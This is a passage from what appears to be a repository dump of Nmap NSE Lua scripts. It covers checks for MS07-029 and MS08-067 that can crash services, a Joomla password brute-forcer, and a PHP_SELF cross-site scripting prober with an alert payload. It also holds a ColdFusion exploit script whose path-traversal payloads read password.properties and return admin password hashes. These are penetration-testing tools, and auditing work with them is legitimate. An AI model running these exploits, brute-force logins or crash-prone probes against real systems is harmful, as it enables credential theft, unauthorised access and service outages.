"smb-enum-groups", "smb-os-discovery", "smb-enum-processes", 54 | "smb-psexec", 55 | }; 56 | 57 | 58 | hostrule = function(host) 59 | return smb.get_port(host) ~= nil 60 | end 61 | 62 | local VULNERABLE = 1 63 | local PATCHED = 2 64 | local UNKNOWN = 3 65 | local NOTUP = 8 66 | 67 | ---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. 68 | --This check is not safe as it crashes the Dns Server RPC service its dependencies. 69 | --@param host Host object. 70 | --@return (status, result) 71 | --* status == false -> result == NOTUP which designates 72 | --that the targeted Dns Server RPC service is not active. 73 | --* status == true -> 74 | -- ** result == VULNERABLE for vulnerable. 75 | -- ** result == PATCHED for not vulnerable. 76 | 77 | function check_ms07_029(host) 78 | --create the SMB session 79 | local status, smbstate 80 | status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH) 81 | if(status == false) then 82 | stdnse.debug1("check_ms07_029: Service is not active.") 83 | return false, NOTUP --if not accessible across pipe then the service is inactive 84 | end 85 | --bind to DNSSERVER service 86 | local bind_result 87 | status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION) 88 | if(status == false) then 89 | stdnse.debug1("check_ms07_029: false") 90 | msrpc.stop_smb(smbstate) 91 | return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. 92 | end 93 | --call 94 | local req_blob, q_result 95 | status, q_result = msrpc.DNSSERVER_Query( 96 | smbstate, 97 | "VULNSRV", 98 | string.rep("\\\13", 1000), 99 | 1)--any op num will do 100 | --sanity check 101 | msrpc.stop_smb(smbstate) 102 | if(status == false) then 103 | stdnse.debug1("check_ms07_029: DNSSERVER_Query failed") 104 | if(q_result == "NT_STATUS_PIPE_BROKEN") then 105 | return true, VULNERABLE 106 | else 107 | return true, PATCHED 108 | end 109 | else 110 | return true, PATCHED 111 | end 112 | end 113 | 114 | action = function(host) 115 | local status, result, message 116 | local response = {} 117 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host) 118 | local vuln_table = { 119 | title = 'Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)', 120 | state = vulns.STATE.NOT_VULN, 121 | description = [[ 122 | A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in 123 | Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to 124 | execute arbitrary code via a long zone name containing character constants represented by escape sequences. 125 | ]], 126 | IDS = {CVE = 'CVE-2007-1748'}, 127 | references = { 128 | 'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx' 129 | }, 130 | dates = { 131 | disclosure = {year = '2007', month = '06', day = '06'}, 132 | } 133 | } 134 | 135 | -- Check for ms07-029 136 | status, result = check_ms07_029(host) 137 | if(status == false) then 138 | if(result == NOTUP) then 139 | vuln_table.extra_info = "Service is not active." 140 | vuln_table.state = vulns.STATE.NOT_VULN 141 | else 142 | vuln_table.state = vulns.STATE.NOT_VULN 143 | end 144 | else 145 | if(result == VULNERABLE) then 146 | vuln_table.state = vulns.STATE.VULN 147 | else 148 | vuln_table.state = vulns.STATE.NOT_VULN 149 | end 150 | end 151 | return vuln_report:make_output(vuln_table) 152 | end 153 | -------------------------------------------------------------------------------- /scripts/http-joomla-brute.nse: -------------------------------------------------------------------------------- 1 | local brute = require "brute" 2 | local creds = require "creds" 3 | local http = require "http" 4 | local shortport = require "shortport" 5 | local stdnse = require "stdnse" 6 | local string = require "string" 7 | 8 | description = [[ 9 | Performs brute force password auditing against Joomla web CMS installations. 10 | 11 | This script initially reads the session cookie and parses the security token to perfom the brute force password auditing. 12 | It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the 13 | credentials library. 14 | 15 | Joomla's default uri and form names: 16 | * Default uri:/administrator/index.php 17 | * Default uservar: username 18 | * Default passvar: passwd 19 | ]] 20 | 21 | --- 22 | -- @usage 23 | -- nmap -sV --script http-joomla-brute 24 | -- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com, 25 | -- http-joomla-brute.threads=3,brute.firstonly=true' 26 | -- nmap -sV --script http-joomla-brute 27 | -- 28 | -- @output 29 | -- PORT STATE SERVICE REASON 30 | -- 80/tcp open http syn-ack 31 | -- | http-joomla-brute: 32 | -- | Accounts 33 | -- | xdeadbee:i79eWBj07g => Login correct 34 | -- | Statistics 35 | -- |_ Perfomed 499 guesses in 301 seconds, average tps: 0 36 | -- 37 | -- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php 38 | -- @args http-joomla-brute.hostname Virtual Hostname Header 39 | -- @args http-joomla-brute.uservar sets the http-variable name that holds the 40 | -- username used to authenticate. Default: username 41 | -- @args http-joomla-brute.passvar sets the http-variable name that holds the 42 | -- password used to authenticate. Default: passwd 43 | -- @args http-joomla-brute.threads sets the number of threads. Default: 3 44 | -- 45 | -- Other useful arguments when using this script are: 46 | -- * http.useragent = String - User Agent used in HTTP requests 47 | -- * brute.firstonly = Boolean - Stop attack when the first credentials are found 48 | -- * brute.mode = user/creds/pass - Username password iterator 49 | -- * passdb = String - Path to password list 50 | -- * userdb = String - Path to user list 51 | -- 52 | -- 53 | -- Based on Patrik Karlsson's http-form-brute 54 | -- 55 | 56 | author = "Paulino Calderon" 57 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 58 | categories = {"intrusive", "brute"} 59 | 60 | 61 | portrule = shortport.http 62 | 63 | local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php" 64 | local DEFAULT_JOOMLA_USERVAR = "username" 65 | local DEFAULT_JOOMLA_PASSVAR = "passwd" 66 | local DEFAULT_THREAD_NUM = 3 67 | 68 | local security_token 69 | local session_cookie_str 70 | 71 | --- 72 | --This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html) 73 | --- 74 | Driver = { 75 | new = function(self, host, port, options) 76 | local o = {} 77 | setmetatable(o, self) 78 | self.__index = self 79 | o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host 80 | o.port = port 81 | o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI 82 | o.options = options 83 | return o 84 | end, 85 | 86 | connect = function( self ) 87 | return true 88 | end, 89 | 90 | login = function( self, username, password ) 91 | stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token) 92 | local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, 93 | { [self.options.uservar] = username, [self.options.passvar] = password, 94 | [security_token] = 1, lang = "", option = "com_login", task = "login" } ) 95 | 96 | if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then 97 | stdnse.print_debug(2, "Response:\n%s", response.body) 98 | local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port ) 99 | c:add(username, password, creds.State.VALID ) 100 | return true, brute.Account:new( username, password, "OPEN") 101 | end 102 | return false, brute.Error:new( "Incorrect password" ) 103 | end, 104 | 105 | disconnect = function( self ) 106 | return true 107 | end, 108 | 109 | check = function( self ) 110 | local response = http.get( self.host, self.port, self.uri ) 111 | stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) 112 | -- Check if password field is there 113 | if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then 114 | stdnse.print_debug(1, "Initial check passed. Launching brute force attack") 115 | session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"]; 116 | if response.body then 117 | local _ 118 | _, _, security_token = string.find(response.body, '') 119 | end 120 | if security_token then 121 | stdnse.print_debug(2, "Security Token found:%s", security_token) 122 | else 123 | stdnse.print_debug(2, "The security token was not found.") 124 | return false 125 | end 126 | 127 | return true 128 | else 129 | stdnse.print_debug(1, "Initial check failed. Password field wasn't found") 130 | end 131 | return false 132 | end 133 | 134 | } 135 | --- 136 | --MAIN 137 | --- 138 | action = function( host, port ) 139 | local status, result, engine 140 | local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR 141 | local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR 142 | local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM 143 | 144 | engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) 145 | engine:setMaxThreads(thread_num) 146 | engine.options.script_name = SCRIPT_NAME 147 | status, result = engine:start() 148 | 149 | return result 150 | end 151 | -------------------------------------------------------------------------------- /scripts/smb-vuln-ms08-067.nse: -------------------------------------------------------------------------------- 1 | local msrpc = require "msrpc" 2 | local nmap = require "nmap" 3 | local smb = require "smb" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | local vulns = require "vulns" 8 | 9 | description = [[ 10 | Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability 11 | known as MS08-067. This check is dangerous and it may crash systems. 12 | 13 | On a fairly wide scan conducted by Brandon Enright, we determined 14 | that on average, a vulnerable system is more likely to crash than to survive 15 | the check. Out of 82 vulnerable systems, 52 crashed. 16 | Please consider this before running the script. 17 | 18 | This check was previously part of smb-check-vulns.nse. 19 | ]] 20 | --- 21 | --@usage 22 | -- nmap --script smb-vuln-ms08-067.nse -p445 23 | -- nmap -sU --script smb-vuln-ms08-067.nse -p U:137 24 | -- 25 | --@output 26 | --| smb-vuln-ms08-067: 27 | --| VULNERABLE: 28 | --| Microsoft Windows system vulnerable to remote code execution (MS08-067) 29 | --| State: VULNERABLE 30 | --| IDs: CVE:CVE-2008-4250 31 | --| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, 32 | --| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary 33 | --| code via a crafted RPC request that triggers the overflow during path canonicalization. 34 | --| 35 | --| Disclosure date: 2008-10-23 36 | --| References: 37 | --| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx 38 | --|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 39 | --- 40 | 41 | author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} 42 | copyright = "Ron Bowes" 43 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 44 | categories = {"intrusive","exploit","dos","vuln"} 45 | -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill 46 | -- other scans have had a chance to run) 47 | dependencies = { 48 | "smb-brute", "smb-enum-sessions", "smb-security-mode", 49 | "smb-enum-shares", "smb-server-stats", 50 | "smb-enum-domains", "smb-enum-users", "smb-system-info", 51 | "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", 52 | "smb-psexec", 53 | }; 54 | 55 | hostrule = function(host) 56 | return smb.get_port(host) ~= nil 57 | end 58 | 59 | local VULNERABLE = 1 60 | local PATCHED = 2 61 | local UNKNOWN = 3 62 | local NOTRUN = 4 63 | local INFECTED = 5 64 | 65 | ---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an 66 | -- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then 67 | -- you're safe (for now). 68 | -- 69 | -- Based on a packet cap of this script, thanks go out to the author: 70 | -- http://labs.portcullis.co.uk/application/ms08-067-check/ 71 | -- 72 | -- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20 73 | -- tests I did, it crashed once. This is not a guarantee. 74 | -- 75 | --@param host The host object. 76 | --@return (status, result) If status is false, result is an error code; otherwise, result is either 77 | -- VULNERABLE for vulnerable, PATCHED for not vulnerable, 78 | -- UNKNOWN if there was an error (likely vulnerable), 79 | -- and INFECTED if it was patched by Conficker. 80 | function check_ms08_067(host) 81 | local status, smbstate 82 | local bind_result, netpathcompare_result 83 | 84 | -- Create the SMB session 85 | status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") 86 | if(status == false) then 87 | return false, smbstate 88 | end 89 | 90 | -- Bind to SRVSVC service 91 | status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) 92 | if(status == false) then 93 | msrpc.stop_smb(smbstate) 94 | return false, bind_result 95 | end 96 | 97 | -- Call netpathcanonicalize 98 | -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\") 99 | 100 | local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n" 101 | local path2 = "\\n" 102 | status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0) 103 | 104 | -- Stop the SMB session 105 | msrpc.stop_smb(smbstate) 106 | 107 | if(status == false) then 108 | if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then 109 | return true, INFECTED 110 | elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then 111 | return true, PATCHED 112 | else 113 | return true, UNKNOWN, netpathcompare_result 114 | end 115 | end 116 | 117 | return true, VULNERABLE 118 | end 119 | 120 | action = function(host) 121 | local status, result, message 122 | local response = {} 123 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host) 124 | local vuln_table = { 125 | title = 'Microsoft Windows system vulnerable to remote code execution (MS08-067)', 126 | state = vulns.STATE.NOT_VULN, 127 | description = [[ 128 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, 129 | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary 130 | code via a crafted RPC request that triggers the overflow during path canonicalization. 131 | ]], 132 | IDS = {CVE = 'CVE-2008-4250'}, 133 | references = { 134 | 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx' 135 | }, 136 | dates = { 137 | disclosure = {year = '2008', month = '10', day = '23'}, 138 | } 139 | } 140 | -- Check for ms08-067 141 | status, result, message = check_ms08_067(host) 142 | if(status == false) then 143 | vuln_table.state = vulns.STATE.NOT_VULN 144 | else 145 | if(result == VULNERABLE) then 146 | vuln_table.state = vulns.STATE.VULN 147 | elseif(result == UNKNOWN) then 148 | vuln_table.state = vulns.STATE.LIKELY_VULN 149 | elseif(result == INFECTED) then 150 | vuln_table.exploit_results = "This system has been infected by the Conficker worm." 151 | vuln_table.state = vulns.STATE.LIKELY_VULN 152 | else 153 | vuln_table.state = vulns.STATE.NOT_VULN 154 | end 155 | end 156 | return vuln_report:make_output(vuln_table) 157 | end 158 | -------------------------------------------------------------------------------- /scripts/http-phpself-xss.nse: -------------------------------------------------------------------------------- 1 | description=[[ 2 | Crawls a web server and attempts to find PHP files vulnerable to reflected cross site scripting via the variable $_SERVER["PHP_SELF"]. 3 | 4 | This script crawls the webserver to create a list of PHP files and then sends an attack vector/probe to identify PHP_SELF cross site scripting vulnerabilities. 5 | PHP_SELF XSS refers to reflected cross site scripting vulnerabilities caused by the lack of sanitation of the variable $_SERVER["PHP_SELF"] in PHP scripts. This variable is 6 | commonly used in php scripts that display forms and when the script file name is needed. 7 | 8 | Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]: 9 | *http://www.securityfocus.com/bid/37351 10 | *http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage 11 | *http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x 12 | 13 | The attack vector/probe used is: /'"/> 14 | ]] 15 | --- 16 | -- @usage 17 | -- nmap --script=http-phpself-xss -p80 18 | -- nmap -sV --script http-self-xss 19 | -- @output 20 | -- PORT STATE SERVICE REASON 21 | -- 80/tcp open http syn-ack 22 | -- | http-phpself-xss: 23 | -- | VULNERABLE: 24 | -- | Unsafe use of $_SERVER["PHP_SELF"] in PHP files 25 | -- | State: VULNERABLE (Exploitable) 26 | -- | Description: 27 | -- | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. 28 | -- | 29 | -- | Extra information: 30 | -- | 31 | -- | Vulnerable files with proof of concept: 32 | -- | http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 33 | -- | http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 34 | -- | http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 35 | -- | http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 36 | -- | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com 37 | -- | References: 38 | -- | https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 39 | -- |_ http://php.net/manual/en/reserved.variables.server.php 40 | -- @args http-phpself-xss.uri URI. Default: / 41 | -- @args http-phpself-xss.timeout Spidering timeout. Default:10000 42 | author = "Paulino Calderon" 43 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 44 | categories = {"fuzzer", "intrusive", "vuln"} 45 | 46 | local http = require 'http' 47 | local httpspider = require 'httpspider' 48 | local shortport = require 'shortport' 49 | local url = require 'url' 50 | local stdnse = require 'stdnse' 51 | local vulns = require 'vulns' 52 | 53 | portrule = shortport.http 54 | 55 | -- PHP_SELF Attack vector 56 | local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E' 57 | local probes = {} 58 | 59 | --Checks if attack vector is in the response's body 60 | --@param response Response table 61 | --@return True if attack vector is found in response's body 62 | local function check_probe_response(response) 63 | stdnse.print_debug(3, "Probe response:\n%s", response.body) 64 | if string.find(response.body, "'\"/>", 1, true) ~= nil then 65 | return true 66 | end 67 | return false 68 | end 69 | 70 | --Launches probe request 71 | --@param host Hostname 72 | --@param port Port number 73 | --@param uri URL String 74 | --@return True if page is vulnerable/attack vector was found in body 75 | local function launch_probe(host, port, uri) 76 | local probe_response 77 | 78 | --We avoid repeating probes. 79 | --This is a temp fix since httpspider do not keep track of previously parsed links at the moment. 80 | if probes[uri] then 81 | return false 82 | end 83 | 84 | stdnse.print_debug(1, "%s:HTTP GET %s%s", SCRIPT_NAME, uri, PHP_SELF_PROBE) 85 | probe_response = http.get(host, port, uri .. PHP_SELF_PROBE) 86 | 87 | --save probe in list to avoid repeating it 88 | probes[uri] = true 89 | 90 | if check_probe_response(probe_response) then 91 | return true 92 | end 93 | return false 94 | end 95 | 96 | --- 97 | --main 98 | --- 99 | action = function(host, port) 100 | local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/" 101 | local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000 102 | local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } ) 103 | crawler:set_timeout(timeout) 104 | 105 | local vuln = { 106 | title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files', 107 | state = vulns.STATE.NOT_VULN, 108 | description = [[ 109 | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. 110 | ]], 111 | references = { 112 | 'http://php.net/manual/en/reserved.variables.server.php', 113 | 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' 114 | } 115 | } 116 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) 117 | 118 | local vulnpages = {} 119 | local probed_pages= {} 120 | 121 | while(true) do 122 | local status, r = crawler:crawl() 123 | if ( not(status) ) then 124 | if ( r.err ) then 125 | return stdnse.format_output(true, "ERROR: %s", r.reason) 126 | else 127 | break 128 | end 129 | end 130 | 131 | local parsed = url.parse(tostring(r.url)) 132 | 133 | --Only work with .php files 134 | if ( parsed.path and parsed.path:match(".*.php") ) then 135 | --The following port/scheme code was seen in http-backup-finder and its neat =) 136 | local host, port = parsed.host, parsed.port 137 | if ( not(port) ) then 138 | port = (parsed.scheme == 'https') and 443 139 | port = port or ((parsed.scheme == 'http') and 80) 140 | end 141 | local escaped_link = parsed.path:gsub(" ", "%%20") 142 | if launch_probe(host,port,escaped_link) then 143 | table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE) 144 | end 145 | end 146 | end 147 | 148 | if ( #vulnpages > 0 ) then 149 | vuln.state = vulns.STATE.EXPLOIT 150 | vulnpages.name = "Vulnerable files with proof of concept:" 151 | vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations() 152 | end 153 | 154 | return vuln_report:make_output(vuln) 155 | 156 | end 157 | 158 | -------------------------------------------------------------------------------- /scripts/http-coldfusion-subzero.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to retrieve the version, installation path and password.properties files in vulnerable ColdFusion 9/10 installations. 3 | 4 | This was based on the exploit 'ColdSub-Zero.pyFusion v2'. 5 | ]] 6 | 7 | --- 8 | -- @usage nmap -sV --script http-coldfusion-subzero 9 | -- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ 10 | -- 11 | -- @output 12 | -- PORT STATE SERVICE REASON 13 | -- 80/tcp open http syn-ack 14 | -- | http-coldfusion-subzero: 15 | -- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags 16 | -- | version: 9 17 | -- | password_properties: #Fri Mar 02 17:03:01 CST 2012 18 | -- | rdspassword= 19 | -- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0 20 | -- |_encrypted=true 21 | -- 22 | -- @xmloutput 23 | -- 27 | -- @args http-coldfusion-subzero.basepath Base path. Default: /. 28 | -- 29 | --- 30 | 31 | author = "Paulino Calderon " 32 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 33 | categories = {"exploit"} 34 | 35 | local http = require "http" 36 | local shortport = require "shortport" 37 | local stdnse = require "stdnse" 38 | local url = require "url" 39 | 40 | portrule = shortport.http 41 | 42 | local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" 43 | local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg" 44 | local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=" 45 | local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" 46 | local CREDENTIALS_PAYLOADS = {"../../lib/password.properties", 47 | '..\\..\\lib\\password.properties', 48 | '..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties', 49 | "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties", 50 | "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties", 51 | "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties", 52 | "..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties", 53 | "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties", 54 | "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties", 55 | "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"} 56 | 57 | --- 58 | -- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY value from the header 'set-cookie' 59 | -- 60 | local function get_installation_path(host, port, basepath) 61 | local req = http.get(host, port, basepath..PATH_PAYLOAD) 62 | if req.header['set-cookie'] then 63 | stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME) 64 | local _, _, path = string.find(req.header['set-cookie'], "path=/, ANALYZER_DIRECTORY=(.-);path=/") 65 | if path then 66 | stdnse.print_debug(1, "%s: Extracted path:%s", SCRIPT_NAME, path) 67 | return path 68 | end 69 | end 70 | return nil 71 | end 72 | 73 | --- 74 | -- Extracts version by comparing an image with known md5 checksums 75 | -- 76 | local function get_version(host, port, basepath) 77 | local version = -1 78 | local img_req = http.get(host, port, basepath..IMG_PAYLOAD) 79 | if img_req.status == 200 then 80 | local md5chk = stdnse.tohex(openssl.md5(img_req.body)) 81 | if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then 82 | stdnse.print_debug(1, "%s:CF version 10 detected.", SCRIPT_NAME) 83 | version = 10 84 | elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then 85 | stdnse.print_debug(1, "%s:CF version 9 detected.", SCRIPT_NAME) 86 | version = 9 87 | elseif md5chk == "" then 88 | stdnse.print_debug(1, "%s:CF version 8 detected.", SCRIPT_NAME) 89 | version = 8 90 | else 91 | stdnse.print_debug(1, "%s:Could not determine version.", SCRIPT_NAME) 92 | version = nil 93 | end 94 | end 95 | return version 96 | end 97 | 98 | --- 99 | -- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials 100 | local function exploit(host, port, basepath) 101 | for i, vector in ipairs(CREDENTIALS_PAYLOADS) do 102 | local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2) 103 | if string.find(req.body, "encrypted=true") then 104 | stdnse.print_debug(1, "%s: String pattern found. Exploitation worked with vector '%s'.", SCRIPT_NAME, vector) 105 | return true, req.body 106 | end 107 | end 108 | end 109 | 110 | action = function(host, port) 111 | local output_tab = stdnse.output_table() 112 | local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/" 113 | local installation_path = get_installation_path(host, port, basepath) 114 | if installation_path then 115 | output_tab.installation_path = url.unescape(installation_path) 116 | end 117 | 118 | local version_num = get_version(host, port, basepath) 119 | if version_num then 120 | output_tab.version = version_num 121 | end 122 | 123 | local status, file = exploit(host, port, basepath) 124 | if status then 125 | output_tab.password_properties = file 126 | end 127 | return output_tab 128 | end 129 | --------------------------------------------------------------------------------